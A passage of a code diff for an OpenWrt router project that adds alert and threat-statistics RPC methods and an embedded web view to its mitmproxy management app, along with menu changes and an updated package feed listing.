E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('The service is starting. Please wait or refresh the page.')),
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-primary',
|
||||
'click': function() { location.reload(); }
|
||||
}, '🔄 Refresh')
|
||||
]);
|
||||
} else {
|
||||
var iframeSrc = tokenData.web_url_with_token;
|
||||
|
||||
content = E('div', { 'style': 'display: flex; flex-direction: column; height: calc(100vh - 200px); min-height: 600px;' }, [
|
||||
// Toolbar
|
||||
E('div', { 'style': 'display: flex; align-items: center; gap: 12px; margin-bottom: 12px; padding: 12px 16px; background: #141419; border-radius: 8px;' }, [
|
||||
E('span', { 'style': 'color: #27ae60; font-weight: 500;' }, '● Connected'),
|
||||
E('span', { 'style': 'color: #a0a0b0; font-size: 13px;' }, tokenData.web_url),
|
||||
E('div', { 'style': 'flex: 1;' }),
|
||||
E('button', {
|
||||
'class': 'mp-btn',
|
||||
'click': function() {
|
||||
var iframe = document.querySelector('.mitmproxy-iframe');
|
||||
if (iframe) iframe.src = iframe.src;
|
||||
}
|
||||
}, '🔄 Refresh'),
|
||||
E('a', {
|
||||
'class': 'mp-btn mp-btn-secondary',
|
||||
'href': iframeSrc,
|
||||
'target': '_blank'
|
||||
}, '↗ Open in New Tab')
|
||||
]),
|
||||
|
||||
// Iframe container
|
||||
E('div', {
|
||||
'style': 'flex: 1; border-radius: 8px; overflow: hidden; border: 1px solid rgba(255,255,255,0.1);'
|
||||
}, [
|
||||
E('iframe', {
|
||||
'class': 'mitmproxy-iframe',
|
||||
'src': iframeSrc,
|
||||
'style': 'width: 100%; height: 100%; border: none; background: #1a1a1f;',
|
||||
'allow': 'fullscreen',
|
||||
'sandbox': 'allow-same-origin allow-scripts allow-forms allow-popups allow-modals'
|
||||
})
|
||||
])
|
||||
]);
|
||||
}
|
||||
|
||||
var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
|
||||
wrapper.appendChild(SbHeader.render());
|
||||
wrapper.appendChild(renderMitmproxyNav('webui'));
|
||||
wrapper.appendChild(content);
|
||||
return wrapper;
|
||||
},
|
||||
|
||||
handleSaveApply: null,
|
||||
handleSave: null,
|
||||
handleReset: null
|
||||
});
|
||||
@ -328,8 +328,77 @@ do_start() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy start >/dev/n
|
||||
do_stop() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy stop >/dev/null 2>&1; echo '{"success":true}'; }
|
||||
do_restart() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy restart >/dev/null 2>&1; echo '{"success":true}'; }
|
||||
|
||||
get_alerts() {
|
||||
# Read alerts from container
|
||||
local alerts_file="/tmp/secubox-mitm-alerts.json"
|
||||
local container_alerts=""
|
||||
|
||||
# Try to get alerts from LXC container
|
||||
if command -v lxc-attach >/dev/null 2>&1; then
|
||||
container_alerts=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-alerts.json 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Fall back to host path if container method fails
|
||||
if [ -z "$container_alerts" ] || [ "$container_alerts" = "[]" ]; then
|
||||
[ -f "$alerts_file" ] && container_alerts=$(cat "$alerts_file" 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Default to empty array
|
||||
[ -z "$container_alerts" ] && container_alerts="[]"
|
||||
|
||||
json_init
|
||||
json_add_boolean "success" 1
|
||||
|
||||
# Output raw alerts array
|
||||
cat <<EOFJ
|
||||
{
|
||||
"success": true,
|
||||
"alerts": $container_alerts,
|
||||
"timestamp": "$(date -Iseconds)"
|
||||
}
|
||||
EOFJ
|
||||
}
|
||||
|
||||
get_threat_stats() {
|
||||
local stats_file="/tmp/secubox-mitm-stats.json"
|
||||
local container_stats=""
|
||||
|
||||
# Try to get stats from LXC container
|
||||
if command -v lxc-attach >/dev/null 2>&1; then
|
||||
container_stats=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-stats.json 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Fall back to host path
|
||||
if [ -z "$container_stats" ]; then
|
||||
[ -f "$stats_file" ] && container_stats=$(cat "$stats_file" 2>/dev/null)
|
||||
fi
|
||||
|
||||
# Default stats
|
||||
[ -z "$container_stats" ] && container_stats='{"total":{"requests":0,"threats":0,"bots":0}}'
|
||||
|
||||
cat <<EOFJ
|
||||
{
|
||||
"success": true,
|
||||
"stats": $container_stats,
|
||||
"timestamp": "$(date -Iseconds)"
|
||||
}
|
||||
EOFJ
|
||||
}
|
||||
|
||||
clear_alerts() {
|
||||
# Clear alerts in container
|
||||
if command -v lxc-attach >/dev/null 2>&1; then
|
||||
lxc-attach -n "$LXC_NAME" -- sh -c 'echo "[]" > /tmp/secubox-mitm-alerts.json' 2>/dev/null
|
||||
fi
|
||||
|
||||
# Also clear on host
|
||||
echo "[]" > /tmp/secubox-mitm-alerts.json 2>/dev/null
|
||||
|
||||
echo '{"success":true,"message":"Alerts cleared"}'
|
||||
}
|
||||
|
||||
list_methods() { cat <<'EOFM'
|
||||
{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{}}
|
||||
{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{},"alerts":{},"threat_stats":{},"clear_alerts":{}}
|
||||
EOFM
|
||||
}
|
||||
|
||||
@ -347,6 +416,9 @@ case "$1" in
|
||||
start) do_start ;;
|
||||
stop) do_stop ;;
|
||||
restart) do_restart ;;
|
||||
alerts) get_alerts ;;
|
||||
threat_stats) get_threat_stats ;;
|
||||
clear_alerts) clear_alerts ;;
|
||||
*) echo '{"error":"Unknown method"}' ;;
|
||||
esac
|
||||
;;
|
||||
|
||||
@ -1,8 +1,18 @@
|
||||
{
|
||||
"admin/services/mitmproxy": {
|
||||
"title": "mitmproxy",
|
||||
"action": { "type": "view", "path": "mitmproxy/overview" },
|
||||
"action": { "type": "view", "path": "mitmproxy/status" },
|
||||
"depends": { "acl": ["luci-app-mitmproxy"] },
|
||||
"order": 60
|
||||
},
|
||||
"admin/services/mitmproxy/status": {
|
||||
"title": "Status",
|
||||
"action": { "type": "view", "path": "mitmproxy/status" },
|
||||
"order": 1
|
||||
},
|
||||
"admin/services/mitmproxy/settings": {
|
||||
"title": "Settings",
|
||||
"action": { "type": "view", "path": "mitmproxy/settings" },
|
||||
"order": 2
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
{
|
||||
"feed_url": "/secubox-feed",
|
||||
"generated": "2026-01-31T09:21:26+01:00",
|
||||
"generated": "2026-01-31T13:38:48+01:00",
|
||||
"packages": [
|
||||
{
|
||||
"name": "luci-app-auth-guardian",
|
||||
"version": "0.4.0-r3",
|
||||
"filename": "luci-app-auth-guardian_0.4.0-r3_all.ipk",
|
||||
"size": 12078,
|
||||
"size": 12079,
|
||||
"category": "security",
|
||||
"icon": "key",
|
||||
"description": "Authentication management",
|
||||
@ -18,7 +18,7 @@
|
||||
"name": "luci-app-bandwidth-manager",
|
||||
"version": "0.5.0-r2",
|
||||
"filename": "luci-app-bandwidth-manager_0.5.0-r2_all.ipk",
|
||||
"size": 66974,
|
||||
"size": 66965,
|
||||
"category": "network",
|
||||
"icon": "activity",
|
||||
"description": "Bandwidth monitoring and control",
|
||||
@ -30,7 +30,7 @@
|
||||
"name": "luci-app-cdn-cache",
|
||||
"version": "0.5.0-r3",
|
||||
"filename": "luci-app-cdn-cache_0.5.0-r3_all.ipk",
|
||||
"size": 23188,
|
||||
"size": 23187,
|
||||
"category": "network",
|
||||
"icon": "globe",
|
||||
"description": "CDN caching",
|
||||
@ -42,7 +42,7 @@
|
||||
"name": "luci-app-client-guardian",
|
||||
"version": "0.4.0-r7",
|
||||
"filename": "luci-app-client-guardian_0.4.0-r7_all.ipk",
|
||||
"size": 57046,
|
||||
"size": 57042,
|
||||
"category": "network",
|
||||
"icon": "users",
|
||||
"description": "Client management and monitoring",
|
||||
@ -54,7 +54,7 @@
|
||||
"name": "luci-app-crowdsec-dashboard",
|
||||
"version": "0.7.0-r29",
|
||||
"filename": "luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk",
|
||||
"size": 55584,
|
||||
"size": 55580,
|
||||
"category": "security",
|
||||
"icon": "shield",
|
||||
"description": "CrowdSec security monitoring",
|
||||
@ -66,7 +66,7 @@
|
||||
"name": "luci-app-cyberfeed",
|
||||
"version": "0.1.1-r1",
|
||||
"filename": "luci-app-cyberfeed_0.1.1-r1_all.ipk",
|
||||
"size": 12839,
|
||||
"size": 12835,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -78,7 +78,7 @@
|
||||
"name": "luci-app-exposure",
|
||||
"version": "1.0.0-r3",
|
||||
"filename": "luci-app-exposure_1.0.0-r3_all.ipk",
|
||||
"size": 20536,
|
||||
"size": 20532,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -102,7 +102,7 @@
|
||||
"name": "luci-app-glances",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "luci-app-glances_1.0.0-r2_all.ipk",
|
||||
"size": 6969,
|
||||
"size": 6965,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -114,7 +114,7 @@
|
||||
"name": "luci-app-haproxy",
|
||||
"version": "1.0.0-r8",
|
||||
"filename": "luci-app-haproxy_1.0.0-r8_all.ipk",
|
||||
"size": 34168,
|
||||
"size": 34165,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -126,7 +126,19 @@
|
||||
"name": "luci-app-hexojs",
|
||||
"version": "1.0.0-r3",
|
||||
"filename": "luci-app-hexojs_1.0.0-r3_all.ipk",
|
||||
"size": 32977,
|
||||
"size": 32974,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
"installed": false,
|
||||
"luci_app": null
|
||||
}
|
||||
,
|
||||
{
|
||||
"name": "luci-app-jitsi",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-jitsi_1.0.0-r1_all.ipk",
|
||||
"size": 5140,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -138,7 +150,7 @@
|
||||
"name": "luci-app-ksm-manager",
|
||||
"version": "0.4.0-r2",
|
||||
"filename": "luci-app-ksm-manager_0.4.0-r2_all.ipk",
|
||||
"size": 18725,
|
||||
"size": 18719,
|
||||
"category": "system",
|
||||
"icon": "cpu",
|
||||
"description": "Kernel memory management",
|
||||
@ -150,7 +162,7 @@
|
||||
"name": "luci-app-localai",
|
||||
"version": "0.1.0-r15",
|
||||
"filename": "luci-app-localai_0.1.0-r15_all.ipk",
|
||||
"size": 14367,
|
||||
"size": 14358,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -162,7 +174,7 @@
|
||||
"name": "luci-app-lyrion",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-lyrion_1.0.0-r1_all.ipk",
|
||||
"size": 6733,
|
||||
"size": 6724,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -174,7 +186,7 @@
|
||||
"name": "luci-app-magicmirror2",
|
||||
"version": "0.4.0-r6",
|
||||
"filename": "luci-app-magicmirror2_0.4.0-r6_all.ipk",
|
||||
"size": 12277,
|
||||
"size": 12278,
|
||||
"category": "iot",
|
||||
"icon": "monitor",
|
||||
"description": "Smart mirror display",
|
||||
@ -186,7 +198,7 @@
|
||||
"name": "luci-app-mailinabox",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-mailinabox_1.0.0-r1_all.ipk",
|
||||
"size": 5487,
|
||||
"size": 5482,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -198,7 +210,7 @@
|
||||
"name": "luci-app-media-flow",
|
||||
"version": "0.6.4-r1",
|
||||
"filename": "luci-app-media-flow_0.6.4-r1_all.ipk",
|
||||
"size": 19127,
|
||||
"size": 19111,
|
||||
"category": "media",
|
||||
"icon": "film",
|
||||
"description": "Media streaming",
|
||||
@ -210,7 +222,7 @@
|
||||
"name": "luci-app-metablogizer",
|
||||
"version": "1.0.0-r3",
|
||||
"filename": "luci-app-metablogizer_1.0.0-r3_all.ipk",
|
||||
"size": 23504,
|
||||
"size": 23505,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -222,7 +234,7 @@
|
||||
"name": "luci-app-metabolizer",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "luci-app-metabolizer_1.0.0-r2_all.ipk",
|
||||
"size": 4756,
|
||||
"size": 4754,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -234,7 +246,7 @@
|
||||
"name": "luci-app-mitmproxy",
|
||||
"version": "0.4.0-r6",
|
||||
"filename": "luci-app-mitmproxy_0.4.0-r6_all.ipk",
|
||||
"size": 18935,
|
||||
"size": 18932,
|
||||
"category": "security",
|
||||
"icon": "lock",
|
||||
"description": "HTTPS proxy and traffic inspection",
|
||||
@ -246,7 +258,7 @@
|
||||
"name": "luci-app-mmpm",
|
||||
"version": "0.2.0-r3",
|
||||
"filename": "luci-app-mmpm_0.2.0-r3_all.ipk",
|
||||
"size": 7902,
|
||||
"size": 7903,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -258,7 +270,7 @@
|
||||
"name": "luci-app-mqtt-bridge",
|
||||
"version": "0.4.0-r4",
|
||||
"filename": "luci-app-mqtt-bridge_0.4.0-r4_all.ipk",
|
||||
"size": 22779,
|
||||
"size": 22775,
|
||||
"category": "iot",
|
||||
"icon": "message-square",
|
||||
"description": "MQTT bridge",
|
||||
@ -270,7 +282,7 @@
|
||||
"name": "luci-app-ndpid",
|
||||
"version": "1.1.2-r2",
|
||||
"filename": "luci-app-ndpid_1.1.2-r2_all.ipk",
|
||||
"size": 22458,
|
||||
"size": 22453,
|
||||
"category": "security",
|
||||
"icon": "eye",
|
||||
"description": "Deep packet inspection",
|
||||
@ -282,7 +294,7 @@
|
||||
"name": "luci-app-netdata-dashboard",
|
||||
"version": "0.5.0-r2",
|
||||
"filename": "luci-app-netdata-dashboard_0.5.0-r2_all.ipk",
|
||||
"size": 22401,
|
||||
"size": 22400,
|
||||
"category": "monitoring",
|
||||
"icon": "bar-chart-2",
|
||||
"description": "System monitoring dashboard",
|
||||
@ -294,7 +306,7 @@
|
||||
"name": "luci-app-network-modes",
|
||||
"version": "0.5.0-r3",
|
||||
"filename": "luci-app-network-modes_0.5.0-r3_all.ipk",
|
||||
"size": 55613,
|
||||
"size": 55610,
|
||||
"category": "network",
|
||||
"icon": "wifi",
|
||||
"description": "Network configuration",
|
||||
@ -306,7 +318,7 @@
|
||||
"name": "luci-app-network-tweaks",
|
||||
"version": "1.0.0-r7",
|
||||
"filename": "luci-app-network-tweaks_1.0.0-r7_all.ipk",
|
||||
"size": 15464,
|
||||
"size": 15459,
|
||||
"category": "network",
|
||||
"icon": "wifi",
|
||||
"description": "Network configuration",
|
||||
@ -318,7 +330,7 @@
|
||||
"name": "luci-app-nextcloud",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-nextcloud_1.0.0-r1_all.ipk",
|
||||
"size": 6482,
|
||||
"size": 6481,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -342,7 +354,7 @@
|
||||
"name": "luci-app-picobrew",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-picobrew_1.0.0-r1_all.ipk",
|
||||
"size": 9978,
|
||||
"size": 9979,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -354,7 +366,7 @@
|
||||
"name": "luci-app-secubox",
|
||||
"version": "0.7.1-r4",
|
||||
"filename": "luci-app-secubox_0.7.1-r4_all.ipk",
|
||||
"size": 49902,
|
||||
"size": 49897,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -366,7 +378,7 @@
|
||||
"name": "luci-app-secubox-admin",
|
||||
"version": "1.0.0-r19",
|
||||
"filename": "luci-app-secubox-admin_1.0.0-r19_all.ipk",
|
||||
"size": 57098,
|
||||
"size": 57097,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -378,7 +390,7 @@
|
||||
"name": "luci-app-secubox-crowdsec",
|
||||
"version": "1.0.0-r3",
|
||||
"filename": "luci-app-secubox-crowdsec_1.0.0-r3_all.ipk",
|
||||
"size": 13922,
|
||||
"size": 13919,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -390,7 +402,7 @@
|
||||
"name": "luci-app-secubox-netdiag",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-secubox-netdiag_1.0.0-r1_all.ipk",
|
||||
"size": 11996,
|
||||
"size": 11999,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -402,7 +414,7 @@
|
||||
"name": "luci-app-secubox-netifyd",
|
||||
"version": "1.2.1-r1",
|
||||
"filename": "luci-app-secubox-netifyd_1.2.1-r1_all.ipk",
|
||||
"size": 39503,
|
||||
"size": 39497,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -414,7 +426,7 @@
|
||||
"name": "luci-app-secubox-p2p",
|
||||
"version": "0.1.0-r1",
|
||||
"filename": "luci-app-secubox-p2p_0.1.0-r1_all.ipk",
|
||||
"size": 39260,
|
||||
"size": 39256,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -426,7 +438,7 @@
|
||||
"name": "luci-app-secubox-portal",
|
||||
"version": "0.7.0-r2",
|
||||
"filename": "luci-app-secubox-portal_0.7.0-r2_all.ipk",
|
||||
"size": 24557,
|
||||
"size": 24555,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -438,7 +450,7 @@
|
||||
"name": "luci-app-secubox-security-threats",
|
||||
"version": "1.0.0-r4",
|
||||
"filename": "luci-app-secubox-security-threats_1.0.0-r4_all.ipk",
|
||||
"size": 13910,
|
||||
"size": 13904,
|
||||
"category": "system",
|
||||
"icon": "box",
|
||||
"description": "SecuBox system component",
|
||||
@ -450,7 +462,7 @@
|
||||
"name": "luci-app-service-registry",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "luci-app-service-registry_1.0.0-r1_all.ipk",
|
||||
"size": 39827,
|
||||
"size": 39821,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -462,7 +474,7 @@
|
||||
"name": "luci-app-streamlit",
|
||||
"version": "1.0.0-r9",
|
||||
"filename": "luci-app-streamlit_1.0.0-r9_all.ipk",
|
||||
"size": 20473,
|
||||
"size": 20469,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -474,7 +486,7 @@
|
||||
"name": "luci-app-system-hub",
|
||||
"version": "0.5.1-r4",
|
||||
"filename": "luci-app-system-hub_0.5.1-r4_all.ipk",
|
||||
"size": 66351,
|
||||
"size": 66343,
|
||||
"category": "system",
|
||||
"icon": "settings",
|
||||
"description": "System management",
|
||||
@ -486,7 +498,7 @@
|
||||
"name": "luci-app-tor-shield",
|
||||
"version": "1.0.0-r10",
|
||||
"filename": "luci-app-tor-shield_1.0.0-r10_all.ipk",
|
||||
"size": 24536,
|
||||
"size": 24532,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -498,7 +510,7 @@
|
||||
"name": "luci-app-traffic-shaper",
|
||||
"version": "0.4.0-r2",
|
||||
"filename": "luci-app-traffic-shaper_0.4.0-r2_all.ipk",
|
||||
"size": 15634,
|
||||
"size": 15631,
|
||||
"category": "network",
|
||||
"icon": "filter",
|
||||
"description": "Traffic shaping and QoS",
|
||||
@ -510,7 +522,7 @@
|
||||
"name": "luci-app-vhost-manager",
|
||||
"version": "0.5.0-r5",
|
||||
"filename": "luci-app-vhost-manager_0.5.0-r5_all.ipk",
|
||||
"size": 26200,
|
||||
"size": 26197,
|
||||
"category": "network",
|
||||
"icon": "server",
|
||||
"description": "Virtual host management",
|
||||
@ -522,7 +534,7 @@
|
||||
"name": "luci-app-wireguard-dashboard",
|
||||
"version": "0.7.0-r5",
|
||||
"filename": "luci-app-wireguard-dashboard_0.7.0-r5_all.ipk",
|
||||
"size": 45373,
|
||||
"size": 45363,
|
||||
"category": "vpn",
|
||||
"icon": "shield",
|
||||
"description": "WireGuard VPN dashboard",
|
||||
@ -534,7 +546,7 @@
|
||||
"name": "luci-app-zigbee2mqtt",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "luci-app-zigbee2mqtt_1.0.0-r2_all.ipk",
|
||||
"size": 7090,
|
||||
"size": 7084,
|
||||
"category": "iot",
|
||||
"icon": "radio",
|
||||
"description": "Zigbee device management",
|
||||
@ -546,7 +558,7 @@
|
||||
"name": "luci-theme-secubox",
|
||||
"version": "0.4.7-r1",
|
||||
"filename": "luci-theme-secubox_0.4.7-r1_all.ipk",
|
||||
"size": 111797,
|
||||
"size": 111791,
|
||||
"category": "theme",
|
||||
"icon": "palette",
|
||||
"description": "LuCI theme",
|
||||
@ -558,7 +570,7 @@
|
||||
"name": "secubox-app",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "secubox-app_1.0.0-r2_all.ipk",
|
||||
"size": 11188,
|
||||
"size": 11180,
|
||||
"category": "utility",
|
||||
"icon": "package",
|
||||
"description": "SecuBox package",
|
||||
@ -570,7 +582,7 @@
|
||||
"name": "secubox-app-adguardhome",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "secubox-app-adguardhome_1.0.0-r2_all.ipk",
|
||||
"size": 2877,
|
||||
"size": 2878,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -582,7 +594,7 @@
|
||||
"name": "secubox-app-auth-logger",
|
||||
"version": "1.2.2-r1",
|
||||
"filename": "secubox-app-auth-logger_1.2.2-r1_all.ipk",
|
||||
"size": 9380,
|
||||
"size": 9374,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -594,7 +606,7 @@
|
||||
"name": "secubox-app-crowdsec-custom",
|
||||
"version": "1.1.0-r1",
|
||||
"filename": "secubox-app-crowdsec-custom_1.1.0-r1_all.ipk",
|
||||
"size": 5764,
|
||||
"size": 5759,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -606,7 +618,7 @@
|
||||
"name": "secubox-app-cs-firewall-bouncer",
|
||||
"version": "0.0.31-r4_aarch64",
|
||||
"filename": "secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk",
|
||||
"size": 5049324,
|
||||
"size": 5049323,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -618,7 +630,7 @@
|
||||
"name": "secubox-app-cyberfeed",
|
||||
"version": "0.2.1-r1",
|
||||
"filename": "secubox-app-cyberfeed_0.2.1-r1_all.ipk",
|
||||
"size": 12451,
|
||||
"size": 12449,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -630,7 +642,7 @@
|
||||
"name": "secubox-app-domoticz",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "secubox-app-domoticz_1.0.0-r2_all.ipk",
|
||||
"size": 2552,
|
||||
"size": 2546,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -642,7 +654,7 @@
|
||||
"name": "secubox-app-exposure",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "secubox-app-exposure_1.0.0-r1_all.ipk",
|
||||
"size": 6828,
|
||||
"size": 6832,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -654,7 +666,7 @@
|
||||
"name": "secubox-app-gitea",
|
||||
"version": "1.0.0-r5",
|
||||
"filename": "secubox-app-gitea_1.0.0-r5_all.ipk",
|
||||
"size": 9406,
|
||||
"size": 9405,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -666,7 +678,7 @@
|
||||
"name": "secubox-app-glances",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "secubox-app-glances_1.0.0-r1_all.ipk",
|
||||
"size": 5535,
|
||||
"size": 5531,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -678,7 +690,7 @@
|
||||
"name": "secubox-app-haproxy",
|
||||
"version": "1.0.0-r23",
|
||||
"filename": "secubox-app-haproxy_1.0.0-r23_all.ipk",
|
||||
"size": 15683,
|
||||
"size": 15674,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -690,19 +702,31 @@
|
||||
"name": "secubox-app-hexojs",
|
||||
"version": "1.0.0-r8",
|
||||
"filename": "secubox-app-hexojs_1.0.0-r8_all.ipk",
|
||||
"size": 94937,
|
||||
"size": 94931,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
"installed": false,
|
||||
"luci_app": "luci-app-hexojs"
|
||||
}
|
||||
,
|
||||
{
|
||||
"name": "secubox-app-jitsi",
|
||||
"version": "1.0.0-r1",
|
||||
"filename": "secubox-app-jitsi_1.0.0-r1_all.ipk",
|
||||
"size": 8908,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
"installed": false,
|
||||
"luci_app": "luci-app-jitsi"
|
||||
}
|
||||
,
|
||||
{
|
||||
"name": "secubox-app-localai",
|
||||
"version": "2.25.0-r1",
|
||||
"filename": "secubox-app-localai_2.25.0-r1_all.ipk",
|
||||
"size": 5712,
|
||||
"size": 5714,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -714,7 +738,7 @@
|
||||
"name": "secubox-app-localai-wb",
|
||||
"version": "2.25.0-r1",
|
||||
"filename": "secubox-app-localai-wb_2.25.0-r1_all.ipk",
|
||||
"size": 7954,
|
||||
"size": 7942,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -726,7 +750,7 @@
|
||||
"name": "secubox-app-lyrion",
|
||||
"version": "2.0.2-r1",
|
||||
"filename": "secubox-app-lyrion_2.0.2-r1_all.ipk",
|
||||
"size": 7284,
|
||||
"size": 7275,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -738,7 +762,7 @@
|
||||
"name": "secubox-app-magicmirror2",
|
||||
"version": "0.4.0-r8",
|
||||
"filename": "secubox-app-magicmirror2_0.4.0-r8_all.ipk",
|
||||
"size": 9250,
|
||||
"size": 9247,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -750,7 +774,7 @@
|
||||
"name": "secubox-app-mailinabox",
|
||||
"version": "2.0.0-r1",
|
||||
"filename": "secubox-app-mailinabox_2.0.0-r1_all.ipk",
|
||||
"size": 7570,
|
||||
"size": 7571,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -762,7 +786,7 @@
|
||||
"name": "secubox-app-metabolizer",
|
||||
"version": "1.0.0-r3",
|
||||
"filename": "secubox-app-metabolizer_1.0.0-r3_all.ipk",
|
||||
"size": 13979,
|
||||
"size": 13980,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -774,7 +798,7 @@
|
||||
"name": "secubox-app-mitmproxy",
|
||||
"version": "0.4.0-r16",
|
||||
"filename": "secubox-app-mitmproxy_0.4.0-r16_all.ipk",
|
||||
"size": 10213,
|
||||
"size": 10208,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -786,7 +810,7 @@
|
||||
"name": "secubox-app-mmpm",
|
||||
"version": "0.2.0-r5",
|
||||
"filename": "secubox-app-mmpm_0.2.0-r5_all.ipk",
|
||||
"size": 3976,
|
||||
"size": 3977,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -798,7 +822,7 @@
|
||||
"name": "secubox-app-nextcloud",
|
||||
"version": "1.0.0-r2",
|
||||
"filename": "secubox-app-nextcloud_1.0.0-r2_all.ipk",
|
||||
"size": 2960,
|
||||
"size": 2956,
|
||||
"category": "secubox",
|
||||
"icon": "package",
|
||||
"description": "SecuBox backend service",
|
||||
@ -810,7 +834,7 @@
|
||||
"name": "secubox-app-ollama",
|
||||
"version": "0.1.0-r1",
|
||||
